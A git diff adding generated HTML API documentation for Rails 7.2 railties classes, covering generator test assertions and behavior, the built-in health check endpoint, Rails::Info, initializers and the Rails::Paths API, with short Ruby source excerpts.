+ + uncountable?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 93
+        def uncountable? # :doc:
+          singular_name == plural_name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_helper_prefix() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 133
+        def url_helper_prefix # :doc:
+          @url_helper_prefix ||= (class_path + [file_name]).join("_")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/TestCase.html b/src/7.2/classes/Rails/Generators/TestCase.html new file mode 100644 index 0000000000..487046454b --- /dev/null +++ b/src/7.2/classes/Rails/Generators/TestCase.html @@ -0,0 +1,117 @@ +--- +title: Rails::Generators::TestCase +layout: default +--- +
+ +
+
+ +
+ +

This class provides a TestCase for testing generators. To set up, you need just to configure the destination and set which generator is being tested:

+ +
class AppGeneratorTest < Rails::Generators::TestCase
+  tests AppGenerator
+  destination File.expand_path("../tmp", __dir__)
+end
+
+ +

If you want to ensure your destination root is clean before running each test, you can set a setup callback:

+ +
class AppGeneratorTest < Rails::Generators::TestCase
+  tests AppGenerator
+  destination File.expand_path("../tmp", __dir__)
+  setup :prepare_destination
+end
+
+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Testing.html b/src/7.2/classes/Rails/Generators/Testing.html new file mode 100644 index 0000000000..daf3240cd6 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Testing.html @@ -0,0 +1,75 @@ +--- +title: Rails::Generators::Testing +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Testing/Assertions.html b/src/7.2/classes/Rails/Generators/Testing/Assertions.html new file mode 100644 index 0000000000..0a79843f85 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Testing/Assertions.html @@ -0,0 +1,602 @@ +--- +title: Rails::Generators::Testing::Assertions +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_class_method(method, content, &block) + +

+ + +
+

Asserts the given class method exists in the given content. This method does not detect class methods inside (class << self), only class methods which starts with β€œself.”. When a block is given, it yields the content of the method.

+ +
assert_migration "db/migrate/create_products.rb" do |migration|
+  assert_class_method :up, migration do |up|
+    assert_match(/create_table/, up)
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 88
+        def assert_class_method(method, content, &block)
+          assert_instance_method "self.#{method}", content, &block
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_directory(relative, *contents) + +

+ + +
+ +
+ + + + + +
+ Alias for: assert_file +
+ + + + +
+ +
+

+ + assert_field_default_value(attribute_type, value) + +

+ + +
+

Asserts the given attribute type gets a proper default value:

+ +
assert_field_default_value :string, "MyString"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 117
+        def assert_field_default_value(attribute_type, value)
+          if value.nil?
+            assert_nil(create_generated_attribute(attribute_type).default)
+          else
+            assert_equal(value, create_generated_attribute(attribute_type).default)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_field_type(attribute_type, field_type) + +

+ + +
+

Asserts the given attribute type gets translated to a field type properly:

+ +
assert_field_type :date, :date_select
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 110
+        def assert_field_type(attribute_type, field_type)
+          assert_equal(field_type, create_generated_attribute(attribute_type).field_type)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_file(relative, *contents) + +

+ + +
+

Asserts a given file exists. You need to supply an absolute path or a path relative to the configured destination:

+ +
assert_file "config/environment.rb"
+
+ +

You can also give extra arguments. If the argument is a regexp, it will check if the regular expression matches the given file content. If it’s a string, it compares the file with the given string:

+ +
assert_file "config/environment.rb", /initialize/
+
+ +

Finally, when a block is given, it yields the file content:

+ +
assert_file "app/controllers/products_controller.rb" do |controller|
+  assert_instance_method :index, controller do |index|
+    assert_match(/Product\.all/, index)
+  end
+end
+
+
+ + + +
+ Also aliased as: assert_directory +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 25
+        def assert_file(relative, *contents)
+          absolute = File.expand_path(relative, destination_root)
+          assert File.exist?(absolute), "Expected file #{relative.inspect} to exist, but does not"
+
+          read = File.read(absolute) if block_given? || !contents.empty?
+          assert_nothing_raised { yield read } if block_given?
+
+          contents.each do |content|
+            case content
+            when String
+              assert_equal content, read
+            when Regexp
+              assert_match content, read
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_initializer(name, *contents, &block) + +

+ + +
+

Asserts a given initializer exists. You need to supply a path relative to the β€˜config/initializers/` directory.

+ +
assert_initializer "mail_interceptors.rb"
+
+ +

You can also give extra arguments. If the argument is a regexp, it will check if the regular expression matches the given file content. If it’s a string, it compares the file with the given string:

+ +
assert_initializer "mail_interceptors.rb", /SandboxEmailInterceptor/
+
+ +

Finally, when a block is given, it yields the file content:

+ +
assert_initializer "mail_interceptors.rb" do |initializer|
+  assert_match(/SandboxEmailInterceptor/, initializer)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 141
+        def assert_initializer(name, *contents, &block)
+          assert_file("config/initializers/#{name}", *contents, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_instance_method(method, content) + +

+ + +
+

Asserts the given method exists in the given content. When a block is given, it yields the content of the method.

+ +
assert_file "app/controllers/products_controller.rb" do |controller|
+  assert_instance_method :index, controller do |index|
+    assert_match(/Product\.all/, index)
+  end
+end
+
+
+ + + +
+ Also aliased as: assert_method +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 100
+        def assert_instance_method(method, content)
+          assert content =~ /(\s+)def #{method}(\(.+\))?(.*?)\n\1end/m, "Expected to have method #{method}"
+          assert_nothing_raised { yield $3.strip } if block_given?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_method(method, content) + +

+ + +
+ +
+ + + + + +
+ Alias for: assert_instance_method +
+ + + + +
+ +
+

+ + assert_migration(relative, *contents, &block) + +

+ + +
+

Asserts a given migration exists. You need to supply an absolute path or a path relative to the configured destination:

+ +
assert_migration "db/migrate/create_products.rb"
+
+ +

This method manipulates the given path and tries to find any migration which matches the migration name. For example, the call above is converted to:

+ +
assert_file "db/migrate/003_create_products.rb"
+
+ +

Consequently, assert_migration accepts the same arguments has assert_file.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 64
+        def assert_migration(relative, *contents, &block)
+          file_name = migration_file_name(relative)
+          assert file_name, "Expected migration #{relative} to exist, but was not found"
+          assert_file file_name, *contents, &block
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_directory(relative) + +

+ + +
+ +
+ + + + + +
+ Alias for: assert_no_file +
+ + + + +
+ +
+

+ + assert_no_file(relative) + +

+ + +
+

Asserts a given file does not exist. You need to supply an absolute path or a path relative to the configured destination:

+ +
assert_no_file "config/random.rb"
+
+
+ + + +
+ Also aliased as: assert_no_directory +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 47
+        def assert_no_file(relative)
+          absolute = File.expand_path(relative, destination_root)
+          assert !File.exist?(absolute), "Expected file #{relative.inspect} to not exist, but does"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_migration(relative) + +

+ + +
+

Asserts a given migration does not exist. You need to supply an absolute path or a path relative to the configured destination:

+ +
assert_no_migration "db/migrate/create_products.rb"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/assertions.rb, line 74
+        def assert_no_migration(relative)
+          file_name = migration_file_name(relative)
+          assert_nil file_name, "Expected migration #{relative} to not exist, but found #{file_name}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Testing/Behavior.html b/src/7.2/classes/Rails/Generators/Testing/Behavior.html new file mode 100644 index 0000000000..4bed48caa8 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Testing/Behavior.html @@ -0,0 +1,261 @@ +--- +title: Rails::Generators::Testing::Behavior +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create_generated_attribute(attribute_type, name = "test", index = nil) + +

+ + +
+

Create a Rails::Generators::GeneratedAttribute by supplying the attribute type and, optionally, the attribute name:

+ +
create_generated_attribute(:string, "name")
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 89
+        def create_generated_attribute(attribute_type, name = "test", index = nil)
+          Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(":"))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + generator(args = default_arguments, options = {}, config = {}) + +

+ + +
+

Instantiate the generator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 81
+        def generator(args = default_arguments, options = {}, config = {})
+          @generator ||= generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run_generator(args = default_arguments, config = {}) + +

+ + +
+

Runs the generator configured for this class. The first argument is an array like command line arguments:

+ +
class AppGeneratorTest < Rails::Generators::TestCase
+  tests AppGenerator
+  destination File.expand_path("../tmp", __dir__)
+  setup :prepare_destination
+
+  test "database.yml is not created when skipping Active Record" do
+    run_generator %w(myapp --skip-active-record)
+    assert_no_file "config/database.yml"
+  end
+end
+
+ +

You can provide a configuration hash as second argument. This method returns the output printed by the generator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 67
+        def run_generator(args = default_arguments, config = {})
+          args += ["--skip-bundle"] unless args.include?("--no-skip-bundle") || args.include?("--dev")
+          args += ["--skip-bootsnap"] unless args.include?("--no-skip-bootsnap") || args.include?("--skip-bootsnap")
+
+          if ENV["RAILS_LOG_TO_STDOUT"] == "true"
+            generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+          else
+            capture(:stdout) do
+              generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + prepare_destination() + +

+ + +
+

Clears all files and directories in destination.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 103
+          def prepare_destination # :doc:
+            rm_rf(destination_root)
+            mkdir_p(destination_root)
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Testing/Behavior/ClassMethods.html b/src/7.2/classes/Rails/Generators/Testing/Behavior/ClassMethods.html new file mode 100644 index 0000000000..26030d184a --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Testing/Behavior/ClassMethods.html @@ -0,0 +1,188 @@ +--- +title: Rails::Generators::Testing::Behavior::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + arguments(array) + +

+ + +
+

Sets default arguments on generator invocation. This can be overwritten when invoking it.

+ +
arguments %w(app_name --skip-active-record)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 39
+          def arguments(array)
+            self.default_arguments = array
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + destination(path) + +

+ + +
+

Sets the destination of generator files:

+ +
destination File.expand_path("../tmp", __dir__)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 46
+          def destination(path)
+            self.destination_root = path
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tests(klass) + +

+ + +
+

Sets which generator should be tested:

+ +
tests AppGenerator
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/testing/behavior.rb, line 31
+          def tests(klass)
+            self.generator_class = klass
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Testing/SetupAndTeardown.html b/src/7.2/classes/Rails/Generators/Testing/SetupAndTeardown.html new file mode 100644 index 0000000000..73d48877e6 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Testing/SetupAndTeardown.html @@ -0,0 +1,54 @@ +--- +title: Rails::Generators::Testing::SetupAndTeardown +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/HealthController.html b/src/7.2/classes/Rails/HealthController.html new file mode 100644 index 0000000000..8eea65fbb1 --- /dev/null +++ b/src/7.2/classes/Rails/HealthController.html @@ -0,0 +1,130 @@ +--- +title: Rails::HealthController +layout: default +--- +
+ +
+
+ +
+ +

Built-in Health Check Endpoint

+ +

Rails also comes with a built-in health check endpoint that is reachable at the /up path. This endpoint will return a 200 status code if the app has booted with no exceptions, and a 500 status code otherwise.

+ +

In production, many applications are required to report their status upstream, whether it’s to an uptime monitor that will page an engineer when things go wrong, or a load balancer or Kubernetes controller used to determine a pod’s health. This health check is designed to be a one-size fits all that will work in many situations.

+ +

While any newly generated Rails applications will have the health check at /up, you can configure the path to be anything you’d like in your "config/routes.rb":

+ +
Rails.application.routes.draw do
+  get "healthz" => "rails/health#show", as: :rails_health_check
+end
+
+ +

The health check will now be accessible via the /healthz path.

+ +

NOTE: This endpoint does not reflect the status of all of your application’s dependencies, such as the database or Redis cluster. Replace "rails/health#show" with your own controller action if you have application specific needs.

+ +

Think carefully about what you want to check as it can lead to situations where your application is being restarted due to a third-party service going bad. Ideally, you should design your application to handle those outages gracefully.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/health_controller.rb, line 38
+    def show
+      render_up
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Info.html b/src/7.2/classes/Rails/Info.html new file mode 100644 index 0000000000..217c0dff43 --- /dev/null +++ b/src/7.2/classes/Rails/Info.html @@ -0,0 +1,237 @@ +--- +title: Rails::Info +layout: default +--- +
+ +
+
+ +
+ +

This module helps build the runtime properties that are displayed in Rails::InfoController responses. These include the active Rails version, Ruby version, Rack version, and so on.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_s +
+ + + + +
+ +
+

+ + property(name, value = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/info.rb, line 25
+      def property(name, value = nil)
+        value ||= yield
+        properties << [name, value] if value
+      rescue Exception
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_html() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/info.rb, line 43
+      def to_html
+        (+"<table>").tap do |table|
+          properties.each do |(name, value)|
+            table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
+            formatted_value = if value.kind_of?(Array)
+              "<ul>" + value.map { |v| "<li>#{CGI.escapeHTML(v.to_s)}</li>" }.join + "</ul>"
+            else
+              CGI.escapeHTML(value.to_s)
+            end
+            table << %(<td class="value">#{formatted_value}</td></tr>)
+          end
+          table << "</table>"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + +
+ Also aliased as: inspect +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/info.rb, line 31
+      def to_s
+        column_width = properties.names.map(&:length).max
+        info = properties.map do |name, value|
+          value = value.join(", ") if value.is_a?(Array)
+          "%-#{column_width}s   %s" % [name, value]
+        end
+        info.unshift "About your application's environment"
+        info * "\n"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Initializable.html b/src/7.2/classes/Rails/Initializable.html new file mode 100644 index 0000000000..c1ee8c6212 --- /dev/null +++ b/src/7.2/classes/Rails/Initializable.html @@ -0,0 +1,166 @@ +--- +title: Rails::Initializable +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + initializers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 66
+    def initializers
+      @initializers ||= self.class.initializers_for(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run_initializers(group = :default, *args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 58
+    def run_initializers(group = :default, *args)
+      return if instance_variable_defined?(:@ran)
+      initializers.tsort_each do |initializer|
+        initializer.run(*args) if initializer.belongs_to?(group)
+      end
+      @ran = true
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Initializable/ClassMethods.html b/src/7.2/classes/Rails/Initializable/ClassMethods.html new file mode 100644 index 0000000000..7f7ba78e97 --- /dev/null +++ b/src/7.2/classes/Rails/Initializable/ClassMethods.html @@ -0,0 +1,225 @@ +--- +title: Rails::Initializable::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + initializer(name, opts = {}, &blk) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 88
+      def initializer(name, opts = {}, &blk)
+        raise ArgumentError, "A block must be passed when defining an initializer" unless blk
+        opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
+        initializers << Initializer.new(name, nil, opts, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initializers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 71
+      def initializers
+        @initializers ||= Collection.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initializers_chain() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 75
+      def initializers_chain
+        initializers = Collection.new
+        ancestors.reverse_each do |klass|
+          next unless klass.respond_to?(:initializers)
+          initializers = initializers + klass.initializers
+        end
+        initializers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initializers_for(binding) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 84
+      def initializers_for(binding)
+        Collection.new(initializers_chain.map { |i| i.bind(binding) })
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Initializable/Collection.html b/src/7.2/classes/Rails/Initializable/Collection.html new file mode 100644 index 0000000000..2937810834 --- /dev/null +++ b/src/7.2/classes/Rails/Initializable/Collection.html @@ -0,0 +1,158 @@ +--- +title: Rails::Initializable::Collection +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + TSort + +
  • + +
+ + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + +(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 53
+      def +(other)
+        Collection.new(to_a + other.to_a)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tsort_each_child(initializer, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 49
+      def tsort_each_child(initializer, &block)
+        select { |i| i.before == initializer.name || i.name == initializer.after }.each(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Initializable/Initializer.html b/src/7.2/classes/Rails/Initializable/Initializer.html new file mode 100644 index 0000000000..c396c418a3 --- /dev/null +++ b/src/7.2/classes/Rails/Initializable/Initializer.html @@ -0,0 +1,368 @@ +--- +title: Rails::Initializable::Initializer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + block
+ [R] + name
+ + + + +

Class Public methods

+ +
+

+ + new(name, context, options, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 14
+      def initialize(name, context, options, &block)
+        options[:group] ||= :default
+        @name, @context, @options, @block = name, context, options, block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + after() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 23
+      def after
+        @options[:after]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 19
+      def before
+        @options[:before]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + belongs_to?(group) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 27
+      def belongs_to?(group)
+        @options[:group] == group || @options[:group] == :all
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bind(context) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 35
+      def bind(context)
+        return self if @context
+        Initializer.new(@name, context, @options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + context_class() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 40
+      def context_class
+        @context.class
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + run(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/initializable.rb, line 31
+      def run(*args)
+        @context.instance_exec(*args, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Paths.html b/src/7.2/classes/Rails/Paths.html new file mode 100644 index 0000000000..357c457f2c --- /dev/null +++ b/src/7.2/classes/Rails/Paths.html @@ -0,0 +1,69 @@ +--- +title: Rails::Paths +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Paths/Path.html b/src/7.2/classes/Rails/Paths/Path.html new file mode 100644 index 0000000000..194ad6ced1 --- /dev/null +++ b/src/7.2/classes/Rails/Paths/Path.html @@ -0,0 +1,709 @@ +--- +title: Rails::Paths::Path +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + glob
+ + + + +

Class Public methods

+ +
+

+ + new(root, current, paths, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 119
+      def initialize(root, current, paths, options = {})
+        @paths   = paths
+        @current = current
+        @root    = root
+        @glob    = options[:glob]
+        @exclude = options[:exclude]
+
+        options[:autoload_once] ? autoload_once! : skip_autoload_once!
+        options[:eager_load]    ? eager_load!    : skip_eager_load!
+        options[:autoload]      ? autoload!      : skip_autoload!
+        options[:load_path]     ? load_path!     : skip_load_path!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <<(path) + +

+ + +
+ +
+ + + +
+ Also aliased as: push +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 171
+      def <<(path)
+        @paths << path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + children() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 136
+      def children
+        keys = @root.keys.find_all { |k|
+          k.start_with?(@current) && k != @current
+        }
+        @root.values_at(*keys.sort)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concat(paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 176
+      def concat(paths)
+        @paths.concat paths
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 167
+      def each(&block)
+        @paths.each(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + existent() + +

+ + +
+

Returns all expanded paths but only if they exist in the filesystem.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 220
+      def existent
+        expanded.select do |f|
+          does_exist = File.exist?(f)
+
+          if !does_exist && File.symlink?(f)
+            raise "File #{f.inspect} is a symlink that does not point to a valid file"
+          end
+          does_exist
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + existent_directories() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 231
+      def existent_directories
+        expanded.select { |d| File.directory?(d) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expanded() + +

+ + +
+

Expands all paths against the root and return all unique values.

+
+ + + +
+ Also aliased as: to_a +
+ + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 201
+      def expanded
+        raise "You need to set a path root" unless @root.path
+        result = []
+
+        each do |path|
+          path = File.expand_path(path, @root.path)
+
+          if @glob && File.directory?(path)
+            result.concat files_in(path)
+          else
+            result << path
+          end
+        end
+
+        result.uniq!
+        result
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + first() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 143
+      def first
+        expanded.first
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 147
+      def last
+        expanded.last
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + paths() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 188
+      def paths
+        raise "You need to set a path root" unless @root.path
+
+        map do |p|
+          Pathname.new(@root.path).join(p)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + push(path) + +

+ + +
+ +
+ + + + + +
+ Alias for: << +
+ + + + +
+ +
+

+ + to_a() + +

+ + +
+ +
+ + + + + +
+ Alias for: expanded +
+ + + + +
+ +
+

+ + to_ary() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 184
+      def to_ary
+        @paths
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unshift(*paths) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/paths.rb, line 180
+      def unshift(*paths)
+        @paths.unshift(*paths)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Paths/Root.html b/src/7.2/classes/Rails/Paths/Root.html new file mode 100644 index 0000000000..e678515f6e --- /dev/null +++ b/src/7.2/classes/Rails/Paths/Root.html @@ -0,0 +1,601 @@ +--- +title: Rails::Paths::Root +layout: default +--- +
+ +
+
+ +
+ +

This object is an extended hash that behaves as root of the Rails::Paths system. It allows you to collect information about how you want to structure your application paths through a Hash-like API. It requires you to give a physical path on initialization.

+ +
root = Root.new "/rails"
+root.add "app/controllers", eager_load: true
+
+ +

The above command creates a new root object and adds β€œapp/controllers” as a path. This means we can get a Rails::Paths::Path object back like below:

+ +
path = root["app/controllers"]
+path.eager_load?               # => true
+path.is_a?(Rails::Paths::Path) # => true
+
+ +

The Path object is simply an enumerable and allows you to easily add extra paths:

+ +
path.is_a?(Enumerable) # => true
+path.to_ary.inspect    # => ["app/controllers"]
+
+path << "lib/controllers"
+path.to_ary.inspect    # => ["app/controllers", "lib/controllers"]
+
+ +

